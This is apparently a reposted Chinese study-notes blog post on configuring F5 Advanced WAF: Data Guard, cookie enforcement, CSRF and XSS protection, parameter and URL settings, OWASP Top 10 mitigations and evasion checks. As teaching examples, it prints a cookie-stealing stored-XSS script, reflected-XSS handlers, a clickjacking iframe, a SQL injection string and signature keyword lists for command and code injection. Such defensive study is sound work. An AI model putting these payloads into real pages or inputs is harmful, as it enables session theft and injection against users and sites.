AWAF知识点学习

AWAF知识点

Data Guard

Data Guard是在HTTP响应中防止铭感数据泄露的,比如在HTTP响应中包含了信用卡信息、U.S.Social Security number等,或者是自定义的信息。

有两种防护方式

  • 当Policy是Blocking的时候,如果响应中包含了敏感信息,AWAF会拦截这个响应

  • AWAF也可以对敏感信息进行加密,只有在Policy是Transparent或者是Bolcking但是Data Guard是Alarm/Learn的时候才会加密,加密的形式是*,并且需要勾选Mask Data

AWAF知识点学习

 

 AWAF知识点学习

 

 AWAF知识点学习

 

 

  • 可以使用自定义的Patterns来本地化定义身份证信息或电话号
4[0-9]{3}-[0-9]{4}-[0-9]{4}- #表示以4开头的前十二位数为敏感数据,AWAF将对其进行隐藏 #[]表示0-9的数字;{}表示数的位数 

 


AWAF知识点学习

Exception Patterns

该选项表示指定系统认为那些不是铭感数据

AWAF知识点学习

 

 

File Content Detection

指定系统是否检查文件内容的响应,如果是,哪些类型的文件内容被视为敏感数据。这可以防止服务器将您不希望返回给用户的文件内容传递给用户。

AWAF知识点学习

 

 

Enforcement Mode

用于指定Data Guard对那些URL进行防护

  • Ignore URLs—Data Guard会防护所有的URL,除了列表中的

  • Enforce URLs—Data Guard会防护列表中的URL,即使该URL并不在Security Policy中

AWAF知识点学习

 

 

AWAF将Cookie分为两种,分别是Allowed和Enforced

AWAF知识点学习

 

 

  • Allowed类型的Cookie一般是Persistent Cookie、Single Sign On Cookie、或者是其他的合法的Cookie。当这类Cookie背设置为Allow,AWAF会忽略并不会触发告警;Allowed Cookie可以设置Explicit和Wildcard两种

  • Enforced类型的Cookie是在客户端侧不应该被修改的。例如Session Cookie。如果一个被分为Enforced Cookie的Cookie在客户端侧被修改了,AWAF会触发“Modified Domain Cookie”的告警。如果这条策略不是Blocking的状态,即使是Enforced Cookie,这个请求也不会被阻拦。

  • 如果一个Cookie既不是Allowed的也不是Enforced的,那么这个Cookie就是一个未知的且不被期望的,那个AWAF会触发“Modified Domani Cookie”的告警。

AWAF知识点学习

 

 

Insert HttpOnly attribute

指定启用时,系统将 HttpOnly 属性添加到域 cookie 的响应标头中。这样做是为了仅将 cookie 公开给 HTTP 和 HTTPS 实体。这可以防止 cookie 被在网页上运行脚本的不受欢迎的第三方修改或拦截,即使它没有被修改。默认设置为禁用。

AWAF知识点学习

 

 

Insert SameSite attribute

指定启用时,系统将 SameSite 属性添加到域 cookie 的响应标头。 SameSite cookie 属性允许服务器指示浏览器不要将 cookie 与跨站点请求一起发送。这个断言可以缓解 CSRF 攻击。有关更多详细信息,请参阅同一站点 Cookie RFC 草案。插入 SameSite 属性的可能值为:

  • None:指定禁用插入 SameSite 属性选项

  • Strict:系统会添加值为 strict 的 SameSite 属性。 Strict 选项就是这个Cookie只能够在该站点使用,不能够随着用户的请求等行为发送到其他站点

  • Lax:系统添加值为 lax 的 SameSite 属性。 Lax 选项允许这个Cookie被发往其他站点

如果存在多个 SameSite 属性,浏览器将实现最严格的值。如果 SameSite 属性是由应用程序设置的,则仅当策略设置比请求中的所有 SameSite 属性值更严格时,系统才会在末尾添加另一个属性值对。如果最后一个属性值与策略中的相同,则不会进行插入。该系统允许执行更加严格,但不会更加宽松。

AWAF知识点学习

 

 

Insert Secure attribute

指定启用时,系统将 Secure 属性添加到域 cookie 的响应标头。这样做是为了确保仅通过 SSL(通过使用 HTTPS 协议)将 cookie 返回到服务器。这可以防止 cookie 被拦截,但不能保证其完整性。默认设置为禁用。

AWAF知识点学习

 

 

Base64 Decoding

您可以启用安全策略来检查 cookie 值是否包含 Base64 编码的字符串。如果该值确实是 Base64 编码的,则系统会解码该值并继续进行安全检查。 指定启用时安全策略检查 cookie 的 Base64 编码值,并解码该值。默认设置为禁用。

AWAF知识点学习

 

 

CSRF和XSS的区别

CSRF—Cross Site Request Forgery

CSRF involves a malicious website which sends a request to a web application in which an unwitting user is already authenticated, from a different website.

CSRF是指攻击者通过一个恶意网站获取合法用户的登录信息,然后攻击者使用合法用户的信息通过恶意网站向站点发起请求。攻击者能够通过被攻击者的认证信息登录目标应用。

The key concept is that forget requests are not coming from the user. Typical targets anr web applications such as social media, browser-based email clients, online banking, and devices such as routers which can be configured using a web interface

CSRF的关键点在于向网站发起请求的并不是用户本身,而是攻击者,且来自于其他站点。该类型的攻击目标通常是社交媒体、基于浏览器的邮件系统、网上银行以及可以使用网络界面配置的路由器等网络设备。

AWAF防护机制

对于CSRF防护,PUT/PATCH/DELETE的方法都被视为POST请求

CSRF防护有两种方式:

  • Verify CSRF Token:The system will insert a CSRF token to application URLs. Requests without a valid CSRF token will be blocked. JavaScript injection is performed in order to insert a CSRF token to an application URL.—会将CSRF令牌插入到应用程序的URL中,没有有效令牌的请求将被阻拦。该行为需要与JS注入进行配合。

  • Verify Origin:The system will block requests without a valid Origin header. A CSRF request has no Origin header or the Origin header value is not an allowed origin. This enforcement option is suitable for protecting an AJAX request of an application, because AJAX requests always contain an Origin header. JavaScript injection is not done if all protected URLs are configured with Verify Origin.—对于没有Origin或者Orgin头不是被允许的请求,将会被Block。该类型适用于应用程序的AJAX请求。使用该功能将不需要JS

AWAF知识点学习

 

 AWAF知识点学习

 

在Learning and Blocking Setting中,CSRF的保护机制有两个:

  • CSRF attack detected—检查请求中是否触发了CSRF

  • CSRF authentication expired—AWAF会检查插入的CSRF令牌的到期时间,如果超时,也会报CSRF的攻击

XSS—Cross-Site Scripting

Cross-site scripting allows for the ability to make a user run the hacker`s script while in the context of the attacked application

用户在被攻击的用用程序的上下文中执行黑客的脚本

XSS有三种类型:

  • Stored XSS
<script language="javascript"> document.write ('<img src=http://localhost/?url=' + domain.location + '&cookie' + document.cookie + '>'); </script> 

  • Reflected XSS
<body onload=alert('test')> <b onmouseover=alert('just an example')>Claim your prize!</b> 

  • DOM-based XSS

AWAF防护机制

AWAF会识别XSS的攻击模式,检查URI中的字符和参数名称,看是否是定义合规的,同时也会检查Parameter的值,例如allowed values/length/accurate usage of meta charaters

Learning Mode

Automatic

AWAF会自动接收学习程度达到100%的建议

Manual

当建议达到100%,需要管理员手动接受后才会生效

Disabled

AWAF不会创建学习建议

Learning Speed

AWAF会通过流量样本来做出建议,并推荐给管理员;越快,AWAF所使用的流量样本越少

Fast

  • 适用于安全性较低的应用,且需要快速建立安全策略的

  • 该应用每天的流量比较少

  • 该应用的非法请求的数量很少

Medium

这是一般使用最多的,能够较好的建立安全策略建议

Slow

  • 该应用对于安全要求非常严格

  • 该应用程序每天有大量唯一身份认证的人登录

  • 该应用暴露在可能被攻击的环境中,例如互联网

Parameter

Parameter Level

  • Global:全局,这个参数应用于整个Web应用

  • URL:这个参数与URL关联,这个URL Path可以是HTTP也可以是HTTPS

  • Flow:这个参数与流相关联,指定从一个URL到另一个URL,并且包含Method

AWAF知识点学习

 

 

Global

AWAF知识点学习

 

 

URL

AWAF知识点学习

 

 

Flow

AWAF知识点学习

 

 

Perform Staging

当勾选上之后,AWAF将将整个参数置为Staging的状态,AWAF将不会Block触发了违规的请求,即使整个Policy是Blocking的状态

注意:

一般建议在通配符的参数上使用Staging来学习构建安全策略,对于明确的参数不建议使用Staging

AWAF知识点学习

 

 

Allow Empty Value

是否允许这个参数有空值,当勾选上之后,AWAF将允许参数具有空值

AWAF知识点学习

 

 

Allow Repeated Occurrences

是否允许用户发送包含多个同名参数的请求

AWAF知识点学习

 

 

Sensitive Parameter

用于指定改参数是否为敏感参数,对于敏感参数在日志或用户界面是不可见的,可以在Parameter List—>Sensitive Parameters列表中查看

AWAF知识点学习

 

 

Parameter Value Type

Dynamic content value

指定该参数的内容是动态变化的,创建该类型的参数的时候,系统会提示为该参数定义动态参数提取属性

Dynamic parameter name

该选项只对Flow类型的参数生效。该选项指定参数的名称动态变更

AWAF知识点学习

 

 

Ignore Value

指定系统不对该参数进行检查

JSON Value

指定参数值为JSON

Static content value

指定该参数具有静态会预定义的值

User-Input value

指定该参数的值是用户输入的

XML value

指定该参数中的值允许包含XML

AWAF知识点学习

 

 

Data Type

对于User-input value的Parameter Value Type,可以定义Data Type

Alpha-Numeric

设置数据是可以由字母、数字和下划线字符组成

对应的其余选项有:

Maximum Length
  • Any—指定对于参数值的长度没有限制

  • Value—指定允许的参数值的长度

Regular Expression

指定参数值是正则表达式的形式,这个字符的长度限制为245

Base64 Decoding

指定参数值包含Base64编码,如果开启了该选项,AWAF会将编码进行解码,然后进行安全检查

base64 -d在Linux中执行,可对base64编码的内容进行解码

AWAF知识点学习

 File Upload

勾选上之后对于参数将没有文本限制,仅限制长度检查

Disallow File Upload of Executables

选择是否允许用户在该参数中上传二进制可执行内容,勾选上后是禁止在该参数中有该动作,默认值是Disabled,即勾选该选项

AWAF知识点学习

 

 

 

Decimal

选择该参数是否仅为数字且可以包含小数

AWAF知识点学习

 

 

 

Email

指定该参数只能是电子邮件的格式

AWAF知识点学习

 

 

 

Integer

指定该参数的数据只能是整数,不能是小数

AWAF知识点学习

 

 

 

Phone

指定该参数的数据只能是电话号码的格式

AWAF知识点学习

 

 

 

当数据类型为Alpha-Numeric的时候会有该选项,该选项是用来配置安全策略要禁止或允许那些那些字符能够出现在参数值中

Check characters on this parameter value

当勾选上之后,表示会检查参数中的字符

Overridden Security Policy Settings

表示要对哪些全局的字符参数在该Parameter下进行修改

该表中将列出要修改的那些字符,左边是针对该参数的修改,右边是全局的设置,包括字符本身、字符的十六进制值以及在全局的安全策略中对该参数的设置

AWAF知识点学习

 

 

 

State
  • Disallowed—指定该字符不允许出现在参数的值中,如果发现该字符将遵循Learnning and Blocking中的设置

  • Allow—指定该字符能够出现在参数的值中

AWAF知识点学习

 

 

 

Attack Signatures

Check attack signatures on this parameter

当勾选了该选项,表示要对哪些全局的攻击签名在该Parameter下进行修改

State
  • Enable—勾选上后,当与攻击签名匹配时,系统会拒绝对该参数的请求

  • Disabled—勾选上后,当与攻击签名匹配时,系统会允许该参数的请求

AWAF知识点学习

 

 

  在Parameters List界面中能够直接修改部分参数

Change Level

AWAF知识点学习

 

 

 

Change Type

AWAF知识点学习

 

 

 

Enforce

勾选后将处于Staging状态的参数变为执行状态

AWAF知识点学习

 

 

 

该选项只对处于Staging状态的参数有效

Staging:

处于Staging状态的参数,即使Policy设置为Block,当对应参数触发了违规,AWAF也不会将请求阻拦,只有处于非Staging状态的,且Policy设置为Block的才会被阻拦

URL

创建新的URL时,可以选择是Explicit还是Wildcard

Wildcard Character Matches
* All characters—任意字符
? Any single character—任意单个字符
[abcde] Exactly one of the characters listed—列出的字符之一
[!abcde] Any character not listed—除了列出的字符之外的字符
[a-e] Exactly one character in the range—列出的字符的范围内的r任意字符
[!a-e] Any character not in the range—除了列出的字符范围之外的任意字符

Check Flows to this URL

选择是否检查请求该URL时是否包含合法的流,当勾选该选项后将会出现以下选项

URL is Entry Point

指定用户可以通过该URL访问应用程序

URL is Referrer

指定用户可以通过该URL去访问到其他URL,即该URL可以是Referrer中的URL,当勾选该选项后,会出现以下选项:

当客户端的Cookie被修改,AWAF将不会阻拦该请求

AWAF知识点学习

 

 

 

Clickjacking Protection

Clickjacking攻击是指黑客引诱用户去做点击的动作,致使用户跳转到恶意的或者是不被期望的页面,一般这些跳转的页面可能会存在在页面的按钮或其他地方

该攻击通常会存在在HTML页面中

<iframe width="900" height="650" frameborder="0" src="http://www.abc.com.vn/d/d1/pageX,jsp?mi=4"></iframe>

当勾选该选项后,AWAF将会在响应头中插入X-Frame-Options的标头到Cookie中

当勾选后,将会出现以下选项:

Allow Rendering in Frames

指定该URL在frame或iframe中能否被Rendered

  • Never—指定该URL不能在frame或iframe中呈现

  • Same Origin Only—如果引用的页面来自与此URL相同的协议、端口以及域名,则浏览器能够加载

  • Only Frome URL—能够从指定的域名加载Frame或iframe,当选择该选项时将需要指定域名,注意不需要指定URL;例如:http://www.mywebsite.com而不是http://www.mywebsite.com/index/html

AWAF知识点学习

 

 

Attack Signatures

类比Parameters

使用该选项来配置系统应该如何根据请求标头内容去识别和执行

输入URL请求中标头的名称,全匹配,不区分大小写

合法的标头的值,通配符,区分大小写

  • 星号(*):表示匹配任何字符序列,例如*xml*

  • 问号(?):表示匹配任何单个字符,例如xml_method?

  • 方括号([ ]):表示匹配集合中的任意字符,例如method[0-9]

Request Body Handing

表示要对包含特定名称和值的标头的URL如何进行解析

Apply value and content signatures

AWAF在检查的时候会获取完成的值和攻击签名,而不会提取其中的参数或者对其进行解析,该选项可适用于HTTP/XML/JSON/GWT

Tips:

为了让系统检查请求的内容类型标头是否为AMF(Action Message Format),需要将请求标头设置为*amf*并且将Request Body Handling设置为Apply value and content signatures

Disallow

指定系统不允许请求的URL包含这个Header。只要是请求的URL包含这个Header,AWAF就会记录为非法的请求。AWAF同样会检查内容,以确定是否有攻击签名或格式错误

Apply content signatures

让AWAF在不解析内容的情况下去进行扫描,从而查看是否有攻击

GWT

指定内容为GWT,调用GWT的Profile

Form Data

AWAF将内容以URL编码或多部分格式的编码去进行解析

JSON

指定这个头的内容为JSON的格式,需要调用JSON的Profile

XML

指定内容为XML格式,需要调用XML的Profile

Do Nothing

指定系统不检查也不解析内容,根据安全策略来处理请求头

AWAF知识点学习

 

 

下方表格中的Order表示检查的顺序

HTML5 Cross-Domain Request Enforcement

CORS(Cross-Origin Resource Sharing)-跨域资源共享,能够使一个网站通过JavaScript访问另一个网站的资源。

在CORS授权时,浏览器会先向Web程序发送一个预检请求,来确定来自另一个域的JavaScript能否访问该Web应用。只有当这个请求是被授权的时候,浏览器才允许外部域发送这个原始请求。是否是授权的则由后端返回的与CORS相关的特殊响应标头来决定

该配置项具有以下选项:

Disabled

强制AWAF不执行CORS

AWAF将强制移除所有的CORS头部

指定允许通过那些网站来访问到这条URL,允许的CORS是什么样的

AWAF知识点学习

 

 

Allow Credentials:

是指定来自不同域中的请求是否可以包含用户凭证

Enforce on ASM

是指将删除所有的CORS标头并将其替换为AWAF的

如果没有配置允许的来源,那么针对该URL只允许来自该应用本身的请求访问

AWAF知识点学习

 

 AWAF知识点学习

 

 

Methods Enforcement

针对该URL,对于Method的处理

AWAF知识点学习

 

 

File Type

指定该安全策略下允许的文件类型

No Extension是指该策略下不允许文件类型出现在URL中,其余选项还有Explicit/Wildcard

URL Length

如果一个URL包含了这个文件类型,那么所能够接受的URL的最大长度值(以字节为单位),默认值是100

Request Length

如果一个请求中包含了这个文件类型,那么所能够接受的最大请求长度是多少(以字节为单位),默认值是5000

Query String Length

包含该文件类型的URL的查询字符串部分所能够接受的最大长度值(字节为单位),默认是1000

POST Data Length

如果一个HTTP POST包含该文件类型,那么所能够接受的Post String的最大长度值是多少(字节为单位),默认是1000

Apply Response Signatures

当响应时,AWAF将根据分配到该安全策略中的攻击签名,对包含该文件类型的响应进行检查

AWAF知识点学习

 

 

Content Profile

XML Profile

JSON Profile

GWT Profile

Plain Text Profile

Character Sets

Cookie违规

  • Cookie名称中有引号

  • Cookie名称或Cookie的值中有空格

  • Cookie名称中有等号—Cookie名称和等号之间以及等号和Cookie值之间允许有空格

  • Cookie名称前有等号

  • Cookie名称中有回车

攻击类型及对应防护措施

1.Broken Authentication and Session Management

场景:

假设一个应用没有设置timeout,一个用户使用电脑登录了这个应用。使用完成后没有点击Logout而是直接关闭浏览器。攻击者在十五分钟后使用相同的浏览器打开该应用,就可以不经过认证就直接登录该应用。

F5 AWAF防护机制:

  • Enforcing a unique login page—强制登录界面
  • Enforcing login page timeout—设置登录界面失效时间
  • Enabling application flow enforcement and dynamic parameter protection—开启Application folw enforcement和Dynamic parameter protection
  • Monitoring request attack patterns—监控攻击模式
  • Using its own cookies to prevent session tampering—使用Cookie来防止会话篡改

2.Parameter tampering

暴露在互联网上的一些References会遭受该攻击:

  • URLS
  • Parameters
  • Files
  • Directories
  • Hidden fields
  • Database keys

F5 AWAF防护机制:

  • Checking for allowed characters in the parameter name and value—检查允许的参数的名称和值
  • Checking for malicious patterns in user input parameters—检查用户输入的参数
  • Verifying query string and data request lengths—确保请求的string和长度

3.Cookie Tampering

当攻击者获取用户的Cookie后,能够伪装成合法的用户进行登录

F5 AWAF防护机制:

AWAF会识别Server发送给客户端的Cookie,插入自己的Cookie并发送给客户端,将自己插入的Cookie和Server发送的Cookie对应起来;另外,AWAF还根据客户端的Fingerprinting分配Device ID,来识别并检查接入的客户端是否为合法的,以此来防止Session Hijacking

4.Sensitive Data Exposure

敏感数据包括:

  • credit cards
  • user IDs
  • social security
  • social identification numbers
  • authentication credentials

F5 AWAF防护机制:

F5能够将用户输入的敏感信息进行加密,例如密码,信用卡号等,并且在F5的Log中以*号掩去,这个加密的动作能够在parameter层面进行也能够在全局生效

5.Forceful Browsing

是指能够通过URL强制访问一些正常业务不会暴露出来但是存在在后端服务中的路径。换句话说就是用户能够直接跳转到本不应该被允许访问的Web应用的路径上,通常这样的路径会包含敏感信息。

一个很简单的距离,就是能够跳过注册页面而直接访问后面的内容。

F5 AWAF防护机制:

强制允许文件类型和URL,并且制定parameter的值以及login pages

6.Hidden Field Manipulation

在HTML页面中的一些需要用户输入的字段,例如用户名、密码等参数,在通过页面查看源代码的方式的时候能够看到这些参数,然后攻击者能够通过这些参数进行定向的获取。

F5 AWAF防护机制:

AWAF能够对这些参数进行动态的加密。

7.Security Misconfiguration

一些错误的安全配置会导致应用遭受攻击,如果要防护,需要从以下几点进行考虑:

  • Stay abreast of all new software updates and install them in a timely manner—及时安装新软件版本
  • Deploy a robust web application architecture that provides good separation and security between compoments—构建健壮的Web应用架构,提供良好的分离性和安全性
  • Perform audits periodically and run scans to detect future misconfigurations—进行定期扫描和检测

F5 AWAF防护机制:

AWAF能够检测收到的请求,并根据RFC进行判断

8.Using Known Vulnerable Components

利用一些已知的漏洞进行攻击。很多应用是基于开源技术及库进行开发的,例如Nginx、Java等,当这些开源技术爆出重大漏洞时,应用也将面临巨大的风险,例如Log4j漏洞。

F5 AWAF防护机制:

AWAF为每一个应用类型提供对应的防护模板,例如MS Sharepoint、Outlook Web Access等。另外AWAF还能够自动检测后端Server所使用的技术,并提供相应的防护策略及攻击签名。并且AWAF会定期进行攻击签名库的及时更新。

9.Unvalidated Redirects and Forwards

未经验证的重定向和转发,一些web应用会将用户重定向到另外的站点,如果这个跳转没有被确认或者是保护,攻击者可以通过改变跳转的页面,或者伪造一个与跳转页面一样的钓鱼网站,从而获取用户信息。

F5 AWAF防护措施:

  • Enforcing accurate values of parameters and enforcing dynamic parameters
  • Create a list of targeted domains to which users may be redirected

10.Denial of Service

DoS攻击主要是消耗目标系统的计算资源、带宽资源等,从而让目标系统无法提供正常服务。

Two General Categories(两个类别):

  • Resource consumption targeted (attack tries to consume all available bandwidth)—资源消耗为目标,比如网络带宽
  • CPU targeted (attack tries to peak the CPU of the targeted machine)—CPU为目标

F5 AWAF防护措施:

AWAF能够检测正常情况下每秒的字节数,每秒的请求数以及其他一些客户端的动作,并且可以设置基于TPS的防护(针对客户端)或者是Stress Based的防护(基于服务端)

11.Clickjacking

攻击者通过在页面的某个object中添加外部链接,诱惑用户进行点击,从而跳转到黑客希望用户跳转的页面,而非应用正常应该跳转的页面

eg:

<iframe width="900" height="650" frameborder="0" src="http://www.abc.com.vn/d/d1/pageX.jsp?mi=4"> </iframe> 

 

F5 AWAF防护措施:

在HTTP response header中设置X-Frame-Options的字段,有三个选项:

  • Never >> Instructs the boser not to render the URL in either frame or elements,blocking the clickjack attempt—让浏览器在框架或元素中不呈现URL
  • Same Origin Only >> Instructs the browser to render the URL only if it is used in a frame or iframe that are embedded in a way that the top containing page uses the same base URL as the one of the protected URL. If the protocol(HTTP/HTTPS),the domain,or the port number are different, the protected URLwill not be rendered—嵌入制定的URL,包括协议、域名、端口号,如果有一个不同则不呈现
  • Only from URL >> Instructs the browser to render the URL only if the origin is the same one that users specify in the address bar. For example, site owners may wish to enable rendering of a protected page within frames, but only for a specific site—指示浏览器只在源代码与用户在地址栏中指定的源代码相同时才呈现 URL。例如,站点所有者可能希望在框架内启用受保护页面的呈现,但仅限于特定站点

12.Cross Site Request Forgery

Cross Site Request Forgery involves a malicious website which sends a request to a web application in which an unwritting user is already authenticated,from a different website.The attacker can then access functionality in the target web application via the victim`s already authenticated browser.

CSRF涉及一个恶意网站,该网站从另一个网站向一个网上应用程式发出要求,而该网上应用程式中的一个删除用户已被认证。然后攻击者可以通过受害者已经认证的浏览器访问目标 web 应用程序的功能。

F5 AWAF防护措施:

AWAF can protect against CSRF attacks by appending a token, which has a fixed time to live, in the requested URL.When the resource is requested again, AWAF verifies that the token is valid and present in the URL.

AWAF 可以通过在请求的 URL 中附加一个生存时间固定的令牌来防止 CSRF 攻击。当再次请求资源时,AWAF 将验证该令牌是否有效并显示在 URL 中。

13.Cross-Site Scripting(XSS)

有三种类型:

  • Stored XSS
  • Reflected XSS
  • Document Object Model (DOM)-based XSS
Stored XSS

eg:

<script language="javascript"> document.write('<img src=http://localhost/?url=' + domain.location + '&cookie' + document.cookie + '>'); </script> 

这段代码看起来像是插入了一个正常的image,但是其实这个包含了用户的cookie的值,当其他用户访问的时候,攻击者能够获取用户的cookie并发送到制定的Server中。

Reflected XSS

eg:

<body onload=alert('test1')> <b nomouseover=alert('just an example')>Claim your prize!</b> 

DOM-based XSS

DOM-based XSS executes its payload as a result of modifying the DOM environment in the victim’s browser used by the original client-side script.This results in client-side code which runs in a manner not of user’s choosing.

F5 AWAF防护措施:

通过确定URL中的参数以及值进行防护

Injection Attacks

eg:

SELECT * FROM users WHERE username = 'admin' OR 1=1 ' 

正常的请求:

SELECT user_ID FROM users WHERE username='admin' AND password='p@ssw0rd' 

F5 AWAF防护措施:

通过检查Post中的参数和长度

Credential Stuffing

In a credential stuffing attack, criminals first purchase stolen username and passwords. They then make repeated attempts with automated tools to “stuff” the login forms of other websites with the stolen credentials to gain access to accounts held by corporate users or customers.

使用购买到的用户名密码进行撞库

F5 AWAF防护措施:

AWAF会有已经被暴露的用户名密码,然后去检查是否在这个应用中被用到。

OWASP 2017 TOP 10 and AWAF Mitigations

  Vulnerability AWAF Controls
A1 Injection Flaws Attack signatures
Meta character restrictions
Parameter value length restrictions
A2 Broken Authentication and Session Management Brute Force protection
Credentials Stuffing protection
Login Enforcement
Session tracking
HTTP cookie tampering protection
Session hijacking protection
A3 Sensitive Data Exposure Data Guard
Attack signatures(“Predicteble Resource Location” and “Information Leakage”)
A4 XML External Entities(XXE) Attack Signatures(“Other Application Attacks”-XXE)
XML content profile(Disallow DTD)
A5 Broken Access Control File types
Allowed/disallowed URLs
Login Enforcement
Session tracking
Attack signatures(“Directory traversal”)
A6 Security Misconfiguration Attack Signatures
DAST integration
Allowed Methods
HTML5 Cross-Domain Request Enforcement
A7 Cross-site Scripting(XSS) Attack signatures(“Cross Site Scripting-XSS”)
Parameter meta characters
HttpOnly cookie attribute enforcement
Parameter type definitions(such as integer)
A8 Insecure Deserialization Attack Signatures(“Server Side Code Injection”)
A9 Using components with konwn vulnerabilities Attack Signatures
DAST integration
A10 Insufficient Logging and Monitoring Request/response logging
Attack alarm/block logging
On-device logging and external logging to SIEM system
Event Correlation

Learning and Blocking中的一些选项的参数

Attack Type—Predictable Resource Location

URL/Parameter中存在:

%APPDATA% %ALLUSERSPROFILE% /bin /config/ /Copy /etc ... 

Attack Type—Command Execution

URL/Parameter中存在:

/proc/self/environ alias arp ping awk batch bzip2 call cc cd / cd  cd .. cfdisk chmod chown ... 

Attack Type—Server Side Code Injection

URL/Header/Parameter中包含:

._class_ ._dict_ ._mro_| ._subclasses_() Math() module.constructor() new Date() process.abort() process.cwd() process.kill() require() $http_response_header $_COOKIE /bin/bash ... 

Attack Type—Directory Indexing

index of / /publisher ... 

Attack Type—Remote File Include

temp zlib:// SERVER DOCUMENT_ROOT mosConfig_live_site file:// filter ... 

Evasion technique detected

逃逸技术检测

Directory traversals

确保像../这样的目录遍历命令不会出现在URL中。确保攻击者不会通过将a/b/../c这样的路径变为a/c或将a/./b变为a/b之后目录遍历成功

表示让数字经过多少次编码后进行逃逸检测,例如设置为3,则AWAF将执行两次解码,在第三次解码时会进行Learn/Alarm/Block

%u decoding

对%u进行解码(%UXXXX 其中X是十六进制数字),例如a%u002fb解码为a/b

IIS backslashes

转换为/

IIS Unicode codepoints

%UXXXX中的XXXX大于0x00FF时,根据ANSI Latin 1(windows 1252)代码页面进行映射,对%u进行解码,例如a%u2044b解码为a/b

Bare byte decoding

当发现高于ASCII-127的字符,则认为违规

Apache whitespace

当发现字节0x09/0x0b/0x0c,违反了RFC标准,使用制表符作为空格分隔符的,认为是违规的

Bad unescape

URL中使用了非法的编码,例如%后面的两个字符不是十六进制字符或%u后面的四个字节不是十六进制字符的,认为是违规的

原文链接:https://www.cnblogs.com/littlejere/p/15918786.html

原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/21883

(0)
上一篇 2023年8月26日 12:25
下一篇 2023年8月26日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

优速盾注册领取大礼包www.cdnb.net
/sitemap.xml